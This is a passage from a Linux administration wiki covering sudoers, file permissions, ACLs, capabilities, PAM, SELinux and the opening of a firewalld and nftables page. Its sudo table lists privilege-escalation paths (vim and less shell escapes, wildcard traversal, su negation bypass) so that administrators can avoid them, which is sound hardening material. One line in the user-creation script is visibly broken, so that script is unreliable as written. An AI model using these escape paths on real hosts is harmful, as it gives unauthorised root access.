sudo -n true # non-interactive: fails instead of prompting; use in scripts sudoedit /etc/my-app/config.ini # edit as root through a copy, with your own editor, no shell escape as root ``` A drop-in that grants a service account exactly what it needs: ```ini # /etc/sudoers.d/my-app (0440 root:root) Cmnd_Alias MY_APP = /usr/bin/systemctl restart my-app.service, \ /usr/bin/systemctl status my-app.service, \ /usr/bin/journalctl -u my-app.service * deploy ALL=(root) NOPASSWD: MY_APP %developers ALL=(root) /usr/bin/journalctl -u my-app.service * Defaults:deploy !requiretty ``` Rules that look restrictive but are not: | Rule | Why it is root | Safer form | | --- | --- | --- | | `alice ALL=(root) /usr/bin/vim /etc/my-app/*` | `vim` has `:!sh`, and `*` matches `../shadow` | `alice ALL=(root) sudoedit /etc/my-app/*` | | `alice ALL=(root) /usr/bin/less /var/log/*` | `less` runs `!sh`; also `find`, `awk`, `tar`, `tee`, `systemctl` (pager) | `Defaults:alice !env_reset` is not it; grant `journalctl --no-pager` or use `NOEXEC:` | | `alice ALL=(root) ALL, !/usr/bin/su` | Negation is bypassed by copying `su` or using `sudo bash` | Enumerate the commands allowed instead | | `alice ALL=(root) /usr/bin/systemctl` | Any argument, including `systemctl edit` | Give the full argument list, or `systemctl restart my-app.service` and nothing after it | | `alice ALL=(root) /usr/bin/pip install *` | `pip` runs arbitrary `setup.py` | Package the software instead | Useful `Defaults`, set once in `/etc/sudoers.d/00-defaults`: ```ini Defaults use_pty # commands run in a pseudo-terminal; blocks a background process from stealing the tty Defaults log_output # record sessions under /var/log/sudo-io; replay with sudoreplay -l Defaults!/usr/bin/sudoreplay !log_output Defaults timestamp_timeout=5 # minutes the cached credential lasts; 0 asks every time Defaults passwd_tries=3 Defaults env_reset, secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin" Defaults env_keep += "HTTPS_PROXY NO_PROXY" Defaults logfile=/var/log/sudo.log # in addition to the journal ``` `NOEXEC:` in front of a command stops it executing other programs, which closes the pager and editor escapes for dynamically linked binaries. `sha256: /usr/local/bin/tool` in place of a bare path only matches when the binary hashes correctly, which protects a rule against a replaced executable. ## File modes and ownership ```sh stat -c '%A %a %U:%G %n' /srv/www/html # drwxr-sr-x 2755 root:www /srv/www/html namei -l /srv/www/html/index.html # each component with its owner and mode; the fastest answer to "why can't I open this" chown alice:developers file chown -R --reference=/srv/www/html /srv/www/staging # copy owner and group from another path chmod 640 file # u=rw g=r o= chmod -R u=rwX,g=rX,o= /srv/app # X: execute only on directories and files already executable chmod g+s /srv/shared # setgid directory: new files inherit the directory's group chmod +t /srv/shared # sticky: only a file's owner (or root) can delete it chmod u+s /usr/local/bin/my-tool # setuid: runs as the file's owner; audit every one of these umask # 0022 (or 0077 for root on Fedora/RHEL); subtracted from 666/777 for new files find / -xdev -type f \( -perm -4000 -o -perm -2000 \) -ls # every setuid/setgid binary find /srv -xdev -perm -o+w -not -type l -ls # world-writable without the sticky bit protection find / -xdev \( -nouser -o -nogroup \) -ls # owned by a deleted UID/GID ``` Directory execute is traverse: without `x` on every directory in the path the file is unreachable whatever its own mode, and `ls` on the directory shows names but no metadata. Read on a directory without execute lists names only. Numeric modes carry the special bits in a fourth leading digit: `4755` setuid, `2775` setgid, `1777` sticky (the mode of `/tmp`). `chmod 755` on a setgid directory clears the setgid bit on some systems and keeps it on others; use `g+s` explicitly after a recursive `chmod`. The setuid bit on a directory does nothing on Linux, and setuid on a shell script is ignored by the kernel. `chattr +i file` makes a file immutable even for root (`lsattr` shows it, `chattr -i` removes it), and `chattr +a` allows append only, which is useful for log files. A file that root cannot modify, with a mode that says it can, is usually one of these two. ### Shared directories The setgid bit, a group, and a default ACL together give a directory where a team can write each other's files: ```sh groupadd developers mkdir -p /srv/shared chgrp developers /srv/shared chmod 2770 /srv/shared # setgid: new entries get group developers setfacl -m d:g:developers:rwx /srv/shared # default ACL: new entries are group-writable regardless of umask ``` ## ACLs Access control lists add per-user and per-group entries beyond the single owner/group/other triple. The group mode bits become the ACL `mask`, an upper bound applied to every named user and group entry, so `chmod g-w` silently strips write from everyone named in the ACL. `ls -l` shows a `+` after the mode when an ACL is present. ```sh getfacl file # owner, group, every entry, mask getfacl -R /srv/shared > /root/shared.acl # backup in a format setfacl can restore setfacl -m u:alice:rw file # user entry setfacl -m g:developers:rx,o::- file # several entries; o::- removes other's bits setfacl -m m::r file # tighten the mask: no named entry exceeds read setfacl -x u:alice file # remove one entry setfacl -b file # remove every extended entry; the mode bits stay setfacl -R -m u:alice:rX /srv/shared # recursive; X as in chmod setfacl -m d:u:alice:rwx /srv/shared # default entry: inherited by new children of this directory setfacl -k /srv/shared # remove the default entries setfacl --restore=/root/shared.acl # restore the backup, including owners and modes ``` `cp` drops ACLs unless run as `cp -a` or `cp --preserve=all`; `rsync` needs `-A`; `tar` needs `--acls`. NFSv4 has its own ACL model (`nfs4_getfacl`), and SMB shares map to it through Samba's `vfs_acl_xattr`, so an ACL that works locally may not survive export. ## Capabilities Capabilities split root's power into about 40 flags so a binary or service can bind a low port or open raw sockets without being root for everything else. They are stored on the file as the `security.capability` extended attribute. ```sh getcap /usr/bin/ping # /usr/bin/ping cap_net_raw=ep getcap -r / 2>/dev/null # every file capability on the system setcap cap_net_bind_service=+ep /usr/local/bin/my-app # bind ports below 1024 as a normal user setcap -r /usr/local/bin/my-app # remove getpcaps "$(pidof my-app)" # effective capabilities of a running process grep Cap /proc/"$(pidof my-app)"/status # CapInh, CapPrm, CapEff, CapBnd, CapAmb as hex capsh --decode=0000000000000400 # cap_net_bind_service capsh --print # capabilities of the current shell ``` `e` (effective), `p` (permitted) and `i` (inheritable) in `setcap` map to the process sets the binary starts with; `=ep` is what a normal binary needs. File capabilities are ignored on filesystems mounted `nosuid` and stripped by `cp` without `--preserve=xattr`, `rsync` without `-X` and by package upgrades that replace the file. For a service, prefer the unit file over the binary: `AmbientCapabilities=CAP_NET_BIND_SERVICE` with `CapabilityBoundingSet=CAP_NET_BIND_SERVICE` in [systemd](https://www.wiki.jodisand.me/systemd/#writing-a-unit) survives upgrades and shows up in `systemctl show`. For the specific case of low ports, `sysctl net.ipv4.ip_unprivileged_port_start=80` removes the need entirely. `CAP_SYS_ADMIN`, `CAP_DAC_OVERRIDE`, `CAP_SETUID`, `CAP_SYS_PTRACE`, `CAP_SYS_MODULE` and `CAP_DAC_READ_SEARCH` are each root-equivalent or close to it. Granting them to a binary is granting root to anyone who can run it. ## PAM Every login path (`sshd`, `login`, `sudo`, `su`, GDM, `passwd`) runs the stack in `/etc/pam.d/`, which on Fedora and RHEL includes `system-auth` or `password-auth`. A stack has four phases: `auth` (who are you), `account` (are you allowed right now: expiry, `pam_access`, `pam_nologin`, faillock), `password` (changing credentials) and `session` (limits, home directory creation, `pam_systemd`). Control flags decide how a module's result combines: `required` (must pass, but the stack continues so the failure is not revealed), `requisite` (must pass, stops immediately), `sufficient` (pass ends the phase successfully unless an earlier `required` failed), `optional`, and `include`/`substack`. `system-auth` and `password-auth` are generated by `authselect` on Fedora and RHEL 8+, and a manual edit is overwritten at the next `authselect apply-changes`. Change features instead: ```sh authselect current # profile and enabled features authselect list # local, sssd, winbind, ... authselect list-features sssd authselect select sssd with-faillock with-mkhomedir --force # rewrites /etc/pam.d/{system,password}-auth and nsswitch.conf authselect enable-feature with-pamaccess # then edit /etc/security/access.conf authselect check # reports files changed outside authselect authselect create-profile my-site -b sssd # custom profile under /etc/authselect/custom when a feature is not enough ``` Files the modules read: | Module | File | Purpose | | --- | --- | --- | | `pam_faillock` | `/etc/security/faillock.conf` | `deny = 5`, `unlock_time = 900`, `even_deny_root`; state in `/var/run/faillock/` | | `pam_pwquality` | `/etc/security/pwquality.conf` | `minlen`, `dcredit`, `dictcheck` | | `pam_access` | `/etc/security/access.conf` | `- : ALL EXCEPT wheel developers : ALL` restricts login to listed groups | | `pam_limits` | `/etc/security/limits.conf`, `limits.d/` | `nofile`, `nproc`, per user or group; not used by systemd services | | `pam_nologin` | `/etc/nologin`, `/run/nologin` | Non-root logins refused while the file exists; systemd creates `/run/nologin` during boot | | `pam_sss` | `/etc/sssd/sssd.conf` | IdM, AD and LDAP users | | `pam_wheel` (in `/etc/pam.d/su`) | | Uncomment to restrict `su` to group wheel | ```sh faillock --user alice # failed attempts recorded faillock --user alice --reset # clear them journalctl -t sshd -t login -t sudo --since -1h # PAM messages are logged under the service's tag ``` ## SELinux SELinux labels every process and object with a context `user:role:type:level`, for example `system_u:object_r:httpd_sys_content_t:s0`, and the targeted policy allows an operation only when a rule permits the process type (its domain) to perform that access on the object type. The mode bits are still checked first; SELinux can only refuse further. Nearly all administration is about the type field. ```sh getenforce # Enforcing, Permissive or Disabled sestatus # mode, policy name, and whether the config file and runtime differ setenforce 0 # permissive until reboot: denials are logged, not enforced setenforce 1 grep ^SELINUX= /etc/selinux/config # boot-time mode; disabled here needs a reboot and a relabel to re-enable ls -Z /srv/www/html # file contexts ps -eZ | grep -w httpd # process domains: httpd_t id -Z # unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 ss -ltnZ # listening sockets with their domain ``` Permissive is a diagnostic tool, not a fix. Passing the kernel argument `enforcing=0` does the same for one boot. `SELINUX=disabled` in the config file has been ignored by the kernel since Fedora 34 and RHEL 9; disabling now needs `selinux=0` on the kernel command line, after which every file created is unlabelled and a relabel of the whole filesystem is needed to turn it back on. ### File contexts A new file inherits the type of its directory unless a policy transition rule says otherwise. `mv` keeps the source label because it is a rename; `cp` creates a new file and labels it by the destination, unless `cp -a` or `--preserve=context` was used. A file moved from a home directory into `/var/www` therefore carries `user_home_t` and Apache gets `403`, with an AVC in the audit log. ```sh matchpathcon /srv/www/html/index.html # what the policy says the label should be semanage fcontext -l | grep -E '^/var/www' # rules shipped by the policy semanage fcontext -l -C # local additions only semanage fcontext -a -t httpd_sys_content_t '/srv/www(/.*)?' # add a rule; regex, anchored at the start semanage fcontext -a -e /var/www /srv/www # equivalence: label /srv/www exactly as /var/www would be semanage fcontext -d '/srv/www(/.*)?' # remove the rule restorecon -Rv /srv/www # apply rules; -v prints each change restorecon -RvF /srv/www # -F also resets the user and role fields, not only the type restorecon -Rvn / # dry run: what a full relabel would change chcon -t httpd_sys_content_t /srv/www/index.html # temporary: undone by the next restorecon or relabel fixfiles -F onboot # relabel everything at next boot (writes /.autorelabel); slow on large disks ``` `semanage` writes the rule; nothing changes on disk until `restorecon` runs. `chcon` is the opposite: it changes the file without a rule, and is lost. ### Ports Confined services may only bind ports labelled for them. Moving SSH to 2222 or a web server to 8081 needs the port labelled first. ```sh semanage port -l | grep -E '^(ssh|http)_port_t' semanage port -a -t ssh_port_t -p tcp 2222 # add; fails with "already defined" if another type owns that port semanage port -m -t http_port_t -p tcp 8081 # modify an existing assignment instead semanage port -d -t ssh_port_t -p tcp 2222 sepolicy network -p 2222 # which types may use a port ``` ### Booleans Booleans switch optional rule sets without writing policy. Check for one before writing a custom module; most "service cannot reach X" problems are covered. ```sh getsebool -a | grep httpd # every boolean for a domain semanage boolean -l -C # booleans changed from the default setsebool httpd_can_network_connect on # runtime only setsebool -P httpd_can_network_connect on # -P persists; it rebuilds the policy and takes a few seconds sesearch -A -s httpd_t -t httpd_sys_content_t -c file -p read # is there an allow rule (setools-console) sesearch -A -s httpd_t -c tcp_socket -p name_connect -b httpd_can_network_connect # rules a boolean enables ``` `httpd_can_network_connect_db`, `httpd_use_nfs`, `httpd_enable_homedirs`, `nis_enabled`, `container_manage_cgroup` and `virt_use_nfs` are the ones reached for most often. `semanage boolean -l` prints a description for each. ### Reading a denial Denials are written to `/var/log/audit/audit.log` by auditd, and `setroubleshootd`, if installed, posts a readable summary to the journal. Rules marked `dontaudit` in the policy are not logged at all; `semodule -DB` disables those rules temporarily so everything shows, and `semodule -B` restores them. ```sh ausearch -m AVC,USER_AVC,SELINUX_ERR -ts recent -i # last 10 minutes, interpreted ausearch -m AVC -ts today -c httpd # by command name ausearch -m AVC -ts today | audit2why # explains each: missing rule, boolean, or mislabelled file journalctl -t setroubleshoot --since -1h # "SELinux is preventing ... For complete message run sealert -l UUID" sealert -l 8c4a... # full analysis with the suggested fix, ranked by confidence sealert -a /var/log/audit/audit.log # analyse every denial in the file ``` A raw record: ```text type=AVC msg=audit(1758700000.123:4567): avc: denied { read } for pid=1234 comm="httpd" name="index.html" dev="dm-0" ino=98765 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file permissive=0 ``` Read it as: the process in domain `scontext` (`httpd_t`) tried `{ read }` on an object of class `tclass` (`file`) labelled `tcontext` (`user_home_t`). `permissive=0` means it was blocked. Decide from the target type: a type that does not belong under that path is a labelling problem (`restorecon`); a correct type the domain is not allowed to touch is a boolean or a missing rule; a `port` class with a numbered port is `semanage port`. ### Writing a local module When no boolean or label fixes it, generate a module from the denials, read it, and install it. Never install what `audit2allow` prints without reading it; it happily writes rules that allow the domain everything the denial mentions, and a run under `semodule -DB` produces rules for things the policy deliberately hides. ```sh ausearch -m AVC -ts recent -c my-app | audit2allow -M my-app # writes my-app.te (source) and my-app.pp (compiled) cat my-app.te # review every allow line semodule -i my-app.pp # install; persists across reboots semodule -l | grep my-app semodule -r my-app # remove semanage permissive -a my_app_t # one domain permissive, the rest enforcing semanage permissive -d my_app_t semanage export > selinux-local.conf # every local customisation: fcontext, port, boolean, permissive ``` Podman and Docker run containers as `container_t` and allow access only to files labelled `container_file_t`. A bind mount needs `:Z` (private label) or `:z` (shared label) on the volume, which relabels the host directory in place; never use them on `/`, `/home` or `/usr`. See [Docker](https://www.wiki.jodisand.me/docker/#volumes-and-bind-mounts). ## Oneliners ```sh # Accounts that can log in: a real shell and a usable password or an SSH key awk -F: '$7 !~ /(nologin|false)$/ {print $1}' /etc/passwd # Accounts with UID 0 other than root awk -F: '$3 == 0 && $1 != "root"' /etc/passwd # Accounts with an empty password field awk -F: '$2 == ""' /etc/shadow # Password expiry for every human user for u in $(awk -F: '$3 >= 1000 && $3 < 60000 {print $1}' /etc/passwd); do printf '%-16s %s\n' "$u" "$(chage -l "$u" | awk -F: '/Password expires/ {print $2}')"; done # Members of wheel, from every source getent group wheel | cut -d: -f4 | tr , '\n' # Every sudo rule in effect for a user, including from sudoers.d sudo -l -U alice # Who used sudo today journalctl _COMM=sudo --since today -o cat | grep -E 'COMMAND=' # Failed logins in the last hour by user journalctl -t sshd --since -1h -o cat | grep -oE 'Failed password for (invalid user )?\S+' | sort | uniq -c | sort -rn # Currently logged-in sessions loginctl list-sessions # Setuid and setgid files outside the package database (unowned by any rpm) find / -xdev -type f -perm /6000 -exec sh -c 'rpm -qf "$1" >/dev/null 2>&1 || echo "$1"' _ {} \; # World-writable directories without the sticky bit find / -xdev -type d -perm -0002 -not -perm -1000 -ls # Files with ACLs under a tree getfacl -Rs /srv 2>/dev/null | grep '^# file:' # Copy ACLs, owner and mode from one tree to another with the same layout getfacl -R /srv/prod | sed 's#^# file: prod#\# file: staging#' | (cd /srv && setfacl --restore=-) # Every file capability on the system getcap -r / 2>/dev/null # Effective capabilities of every process that has any for p in /proc/[0-9]*; do c=$(awk '/CapEff/ {print $2}' "$p/status"); [ "$c" != 0000000000000000 ] && printf '%s %s %s\n' "${p#/proc/}" "$(cat "$p/comm")" "$c"; done # Denials since boot, one line each, deduplicated by domain, target type and class ausearch -m AVC -ts boot 2>/dev/null | grep -oE 'scontext=\S+ tcontext=\S+ tclass=\S+' | sort | uniq -c | sort -rn # Files under a path whose label differs from the policy restorecon -Rvn /srv # Processes running in unconfined_service_t (a service without a policy) ps -eo pid,comm,label | awk '$3 ~ /unconfined_service_t/' # Which service unit a denied PID belongs to systemctl status 1234 --no-pager | head -1 # Port labels for a service semanage port -l | grep -w http_port_t # Everything SELinux-related changed locally on this host, for reproducing on another semanage export ``` ## Scripts Reports local accounts that can still log in, with their password age and last login, for a periodic access review. ```sh #!/usr/bin/env bash set -euo pipefail # Human accounts (UID_MIN..60000) with a login shell, their password ageing and last login. printf '%-16s %-8s %-12s %-12s %s\n' USER STATUS CHANGED EXPIRES LAST_LOGIN while IFS=: read -r user _ uid _ _ _ shell; do (( uid >= 1000 && uid < 60000 )) || continue case $shell in */nologin|*/false) continue ;; esac status=$(passwd -S "$user" | awk '{print $2}') # P, L or NP changed=$(chage -l "$user" | awk -F': ' '/Last password change/ {print $2}') expires=$(chage -l "$user" | awk -F': ' '/^Account expires/ {print $2}') last=$(lastlog -u "$user" | awk 'NR==2 {print ($3 ~ /Never/) ? "never" : $(NF-5)" "$(NF-4)" "$(NF-3)" "$NF}') printf '%-16s %-8s %-12s %-12s %s\n' "$user" "$status" "${changed:0:12}" "${expires:0:12}" "$last" done < /etc/passwd ``` Creates users from a CSV of `name,fullname,groups`, each with a locked random password that must be changed at first login; rerunnable because existing users are skipped. ```sh #!/usr/bin/env bash set -euo pipefail csv=${1:?usage: mkusers users.csv} while IFS=, read -r name fullname groups; do [[ -z $name || $name == \#* ]] && continue if getent passwd "$name" >/dev/null; then printf 'skip %s: exists\n' "$name"; continue; fi useradd -m -s /bin/bash -c "$fullname" ${groups:+-G "$groups"} "$name" pw=$(tr -dc 'A-Za-z0-9' &2 # stderr only; never log this done < "$csv" ``` Summarises SELinux denials since boot per domain and target and suggests the class of fix, for a first pass on a new host before anyone reaches for `setenforce 0`. ```sh #!/usr/bin/env bash set -euo pipefail # Group AVC denials since boot and print audit2why's verdict for each distinct one. ausearch -m AVC,USER_AVC -ts boot -i 2>/dev/null > "${TMPDIR:-/var/tmp}/avc.$$" || { echo "no denials since boot"; exit 0; } trap 'rm -f "${TMPDIR:-/var/tmp}/avc.$$"' EXIT grep -oE 'comm=\S+ .*scontext=\S+ tcontext=\S+ tclass=\S+' "${TMPDIR:-/var/tmp}/avc.$$" \ | sed -E 's/ (pid|name|dev|ino|path)=\S+//g' | sort | uniq -c | sort -rn | head -20 echo echo '--- audit2why ---' ausearch -m AVC,USER_AVC -ts boot 2>/dev/null | audit2why | grep -E '^\s+(Was caused by|You can use|Missing|Unknown)' | sort | uniq -c | sort -rn ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `Permission denied` on a file whose mode looks right | A directory in the path lacks `x`, or the ACL mask, or SELinux | `namei -l /path`; `getfacl`; `ausearch -m AVC -ts recent` | | `Permission denied` running a script or binary | Filesystem mounted `noexec`, or `nosuid` for a setuid/capability binary | `findmnt -T /path -o TARGET,OPTIONS` | | Root cannot modify or delete a file | Immutable or append-only attribute | `lsattr file`; `chattr -i file` | | `usermod -aG` had no effect | Group membership is read at login | Log out and in, `newgrp`, or `loginctl terminate-user`; verify with `id user` versus `id` in the session | | All other groups disappeared after `usermod -G` | Missing `-a` | Re-add them: `usermod -aG g1,g2 user` from a previous `id` output or backups of `/etc/group` | | `Account locked due to 5 failed logins` | `pam_faillock` | `faillock --user alice`; `faillock --user alice --reset`; tune `/etc/security/faillock.conf` | | `Your account has expired` | `chage -E` date passed or `usermod -e 1` | `chage -E -1 alice` | | `This account is currently not available` | Shell is `nologin` | `usermod -s /bin/bash alice`; a shell must be listed in `/etc/shells` | | SSH key ignored after restoring a home directory | `.ssh` label is not `ssh_home_t`, or modes too open | `restorecon -Rv ~/.ssh`; `chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys`; see [SSH](https://www.wiki.jodisand.me/ssh/#troubleshooting) | | Login refused for everyone but root | `/etc/nologin` or `/run/nologin` exists, or `pam_access` rule | `rm /etc/nologin`; `journalctl -t sshd` names the module | | `sudo: alice is not in the sudoers file` | No rule, or the user is in the group only in a stale session | `sudo -l -U alice`; check `id alice` versus `id` | | `sudo: /etc/sudoers.d/x is world writable` or `syntax error` | A drop-in written without `visudo` | `visudo -cf` the file; fix mode to `0440`; if `sudo` itself is broken, use `su -` or `pkexec visudo` | | `sudo: unable to resolve host` | Hostname not in `/etc/hosts` or DNS | Add it to `/etc/hosts`, or `Defaults !fqdn` | | Service gets `403` or `EACCES` only under SELinux enforcing | Wrong label after `mv`, port unlabelled, or a boolean off | `ausearch -m AVC -ts recent \| audit2why`; `restorecon -Rv`, `semanage port -a`, `setsebool -P` | | `setsebool` or `semanage` are slow or report `Could not ...` | Policy store rebuild, or a stale lock from an interrupted run | Wait; check `semodule -l`; `semodule -B` rebuilds | | Denial happens but nothing in the audit log | A `dontaudit` rule, or auditd not running | `semodule -DB` then reproduce, then `semodule -B`; `systemctl status auditd` | | `setcap: Operation not permitted` | Filesystem without xattr support, NFS, or `nosuid` | Move the binary, or use `AmbientCapabilities=` in the unit | | Container cannot read a bind mount | Host directory labelled for the host, not `container_file_t` | Mount with `:Z`; check with `ls -Z` | ## Further reading - [sudoers manual](https://www.sudo.ws/docs/man/sudoers.man/) - [RHEL: Using SELinux](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/using_selinux/index) - [SELinux project notebook](https://github.com/SELinuxProject/selinux-notebook) - [Linux-PAM System Administrators' Guide](https://github.com/linux-pam/linux-pam/blob/master/doc/sag/Linux-PAM_SAG.txt) - [authselect documentation](https://github.com/authselect/authselect/tree/master/doc) - [capabilities(7)](https://man7.org/linux/man-pages/man7/capabilities.7.html) and [acl(5)](https://man7.org/linux/man-pages/man5/acl.5.html) --- # firewalld, nftables and iptables > Open, forward, NAT, rate-limit and log traffic on Linux with firewalld zones and rich rules, native nftables rulesets, and iptables translation, without breaking containers. Canonical: https://www.wiki.jodisand.me/firewall/ Reviewed: 2026-09-24 Related: [iproute2](https://www.wiki.jodisand.me/iproute2/index.md), [SSH](https://www.wiki.jodisand.me/ssh/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md), [Podman](https://www.wiki.jodisand.me/podman/index.md), [tcpdump and Wireshark](https://www.wiki.jodisand.me/tcpdump/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Is firewalld running, which zones are active | `firewall-cmd --state; firewall-cmd --get-active-zones` | | Everything in the default zone | `firewall-cmd --list-all` | | Open a service now and permanently | `firewall-cmd --add-service=https --permanent && firewall-cmd --reload` | | Open a port | `firewall-cmd --add-port=8443/tcp --permanent` | | Remove it | `firewall-cmd --remove-port=8443/tcp --permanent` | | Apply permanent config | `firewall-cmd --reload` | | Copy runtime to permanent | `firewall-cmd --runtime-to-permanent` | | Allow SSH from one subnet only | `firewall-cmd --add-rich-rule='rule family=ipv4 source address=192.0.2.0/24 service name=ssh accept' --permanent` | | Put an interface in a zone | `firewall-cmd --zone=internal --change-interface=eth1 --permanent` | | NAT for a private network | `firewall-cmd --zone=public --add-masquerade --permanent` | | Forward a port | `firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.0.2.10:toport=8080 --permanent` | | Log denied packets | `firewall-cmd --set-log-denied=all` | | The nftables rules firewalld generated | `nft list ruleset` | | One nftables table | `nft list table inet filter` | | Load an nftables file atomically | `nft -f /etc/nftables/main.nft` | | Check a file without loading | `nft -c -f /etc/nftables/main.nft` | | Flush every nftables rule (drops all filtering) | `nft flush ruleset` | | Counters on rules | `nft list ruleset -a` (handles), `nft list chain inet filter input` | | Translate an iptables rule | `iptables-translate -A INPUT -p tcp --dport 22 -j ACCEPT` | | Legacy view of the rules | `iptables -L -n -v --line-numbers` | | Which ports are listening | `ss -tulpn` | | Watch what a rule matches | `nft monitor trace` with a `meta nftrace set 1` rule | Commands assume firewalld 2.x on Fedora 42 and 1.3 on RHEL 9, nftables 1.1 and `iptables-nft` 1.8.x, all of which program the same kernel nf_tables subsystem. References: the [firewalld documentation](https://firewalld.org/documentation/), the [nftables wiki](https://wiki.nftables.org/) and the [Red Hat networking guide](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/configuring_firewalls_and_packet_filters/index). ## One kernel, three front ends Since RHEL 8 and Fedora 32 every packet filter on the box ends up as nf_tables rules in the kernel. firewalld is a daemon with a zone model that writes nftables rules in its own tables (`firewalld` in the `inet`, `ip` and `ip6` families). `nft` is the native command that writes rules directly. `iptables` on these systems is `iptables-nft`, a compatibility binary that translates the old syntax into nf_tables rules in tables named `filter`, `nat` and `mangle` of the `ip` family. Docker and libvirt write their own rules through `iptables-nft`. Podman uses nftables or `iptables-nft` through netavark. All of these rule sets are evaluated. A packet accepted by firewalld can still be dropped by a rule in another table, and vice versa: a `drop` in any base chain wins, and `accept` in one table only means "continue to the next table at the same hook". That is the source of most confusion when firewalld and Docker coexist. `nft list ruleset` is the one place that shows the whole truth. Pick one front end per purpose and do not mix them for the same job. On a workstation or a server with a simple policy, firewalld. On a router, a container host with custom NAT, or anywhere a reviewer wants to read one file, a native nftables ruleset with firewalld disabled. Legacy iptables only to read or translate what old tooling left behind. ## firewalld firewalld assigns every interface and every source range to a zone, and each zone has a policy plus a set of allowed services, ports, rich rules, masquerade and forward-port settings. Traffic arriving on an interface is evaluated by that interface's zone; if the source matches a zone's source range that zone takes precedence over the interface zone. Runtime configuration lives in memory and is lost at restart; `--permanent` writes XML under `/etc/firewalld/` and takes effect after `--reload`. ```sh firewall-cmd --state # running firewall-cmd --get-default-zone # public on a fresh install firewall-cmd --get-active-zones # zones with interfaces or sources bound firewall-cmd --get-zones # block dmz drop external home internal nm-shared public trusted work firewall-cmd --list-all # default zone in full firewall-cmd --list-all --zone=internal firewall-cmd --list-all-zones # every zone; long firewall-cmd --get-zone-of-interface=eth0 firewall-cmd --get-services # ~200 predefined services: http https ssh dns nfs samba ... firewall-cmd --info-service=https # ports the service maps to firewall-cmd --permanent --list-all # what is on disk, versus runtime ``` Zones from most to least permissive: `trusted` accepts everything; `home`, `internal`, `work` accept a few services (ssh, mdns, samba-client, dhcpv6-client); `public` (default) accepts ssh and dhcpv6-client; `external` adds masquerade; `dmz` accepts ssh only; `block` rejects with ICMP; `drop` drops silently. The zone's `target` decides what happens to traffic no rule matched: `default` (reject for most zones, accept for `trusted`), `ACCEPT`, `REJECT` or `DROP`. ```sh firewall-cmd --set-default-zone=drop # new interfaces land here firewall-cmd --zone=internal --change-interface=eth1 --permanent # NetworkManager-managed interfaces: also nmcli con mod eth1 connection.zone internal firewall-cmd --zone=trusted --add-source=192.0.2.0/24 --permanent # source-based zone: this range is trusted on any interface firewall-cmd --zone=public --add-service=https --permanent firewall-cmd --zone=public --add-service={http,https} --permanent firewall-cmd --zone=public --add-port=8443/tcp --permanent firewall-cmd --zone=public --add-port=60000-61000/udp --permanent # port range firewall-cmd --zone=public --remove-service=cockpit --permanent firewall-cmd --zone=public --remove-service=ssh --permanent # locks you out if this is the interface you came in on firewall-cmd --reload # apply permanent; drops runtime-only changes firewall-cmd --runtime-to-permanent # save what you tested at runtime firewall-cmd --add-port=8080/tcp --timeout=300 # runtime only, removed after 5 minutes: safe for testing remotely firewall-cmd --zone=public --set-target=DROP --permanent # silent drop instead of reject for unmatched traffic firewall-cmd --panic-on # drops every packet in and out, including your SSH session; --panic-off ``` Adding a service without `--permanent` changes runtime only; adding with `--permanent` changes disk only. Do both, or add at runtime, test, then `--runtime-to-permanent`. Never `--reload` after untested permanent changes to a remote host without a `--timeout` fallback or a second session. Custom services are XML files in `/etc/firewalld/services/`: ```sh firewall-cmd --permanent --new-service=my-app firewall-cmd --permanent --service=my-app --set-description='my-app API' firewall-cmd --permanent --service=my-app --add-port=8080/tcp --add-port=8443/tcp firewall-cmd --reload && firewall-cmd --zone=public --add-service=my-app --permanent && firewall-cmd --reload ``` ### Rich rules Rich rules express what zones and services cannot: a source restriction on one service, logging, rate limits, rejects with a specific ICMP type. They are evaluated before the zone's plain services and ports. ```sh # SSH only from the management subnet, everything else to port 22 dropped by the zone target firewall-cmd --zone=public --remove-service=ssh --permanent firewall-cmd --zone=public --add-rich-rule='rule family=ipv4 source address=192.0.2.0/24 service name=ssh accept' --permanent # Block one host entirely firewall-cmd --add-rich-rule='rule family=ipv4 source address=203.0.113.7 drop' --permanent # Reject with a proper ICMP message instead of silently dropping firewall-cmd --add-rich-rule='rule family=ipv4 source address=198.51.100.0/24 reject type=icmp-admin-prohibited' --permanent # Rate-limit new SSH connections and log the ones that get through firewall-cmd --add-rich-rule='rule service name=ssh log prefix="ssh " level=info limit value=5/m accept' --permanent # Allow a port only from one address, logging every hit firewall-cmd --add-rich-rule='rule family=ipv4 source address=192.0.2.10 port port=5432 protocol=tcp log prefix="pg " accept' --permanent # Forward a port only for one source firewall-cmd --add-rich-rule='rule family=ipv4 source address=192.0.2.0/24 forward-port port=8080 protocol=tcp to-port=80 to-addr=10.0.0.5' --permanent # Masquerade only for one source range firewall-cmd --add-rich-rule='rule family=ipv4 source address=10.0.0.0/24 masquerade' --permanent firewall-cmd --list-rich-rules firewall-cmd --remove-rich-rule='rule family=ipv4 source address=203.0.113.7 drop' --permanent # exact text to remove ``` Rule elements in order: `rule [family=ipv4|ipv6] [priority=N]`, then one source or destination, then one of `service`, `port`, `protocol`, `icmp-block`, `icmp-type`, `masquerade`, `forward-port` or `source-port`, then optional `log` and `audit`, then an action `accept`, `reject`, `drop` or `mark`. `priority` (firewalld 0.7+) runs from -32768 to 32767, lower first; without it rules are ordered by action (log, deny, allow). ### Masquerade and port forwarding Masquerade is source NAT for traffic leaving a zone. Forward-port rewrites the destination of inbound traffic. Both require IP forwarding, which firewalld enables when masquerade is turned on. ```sh firewall-cmd --zone=public --add-masquerade --permanent # VMs or containers on an internal zone reach the internet via this host firewall-cmd --zone=public --add-forward-port=port=443:proto=tcp:toport=8443 --permanent # local redirect firewall-cmd --zone=public --add-forward-port=port=80:proto=tcp:toaddr=192.0.2.10:toport=8080 --permanent # to another host; needs masquerade or a policy firewall-cmd --zone=public --list-forward-ports sysctl net.ipv4.ip_forward # 1 after masquerade; firewalld sets it, no sysctl.d entry needed ``` ### Policies Zones govern traffic to and from the host. Policies (firewalld 0.9+, RHEL 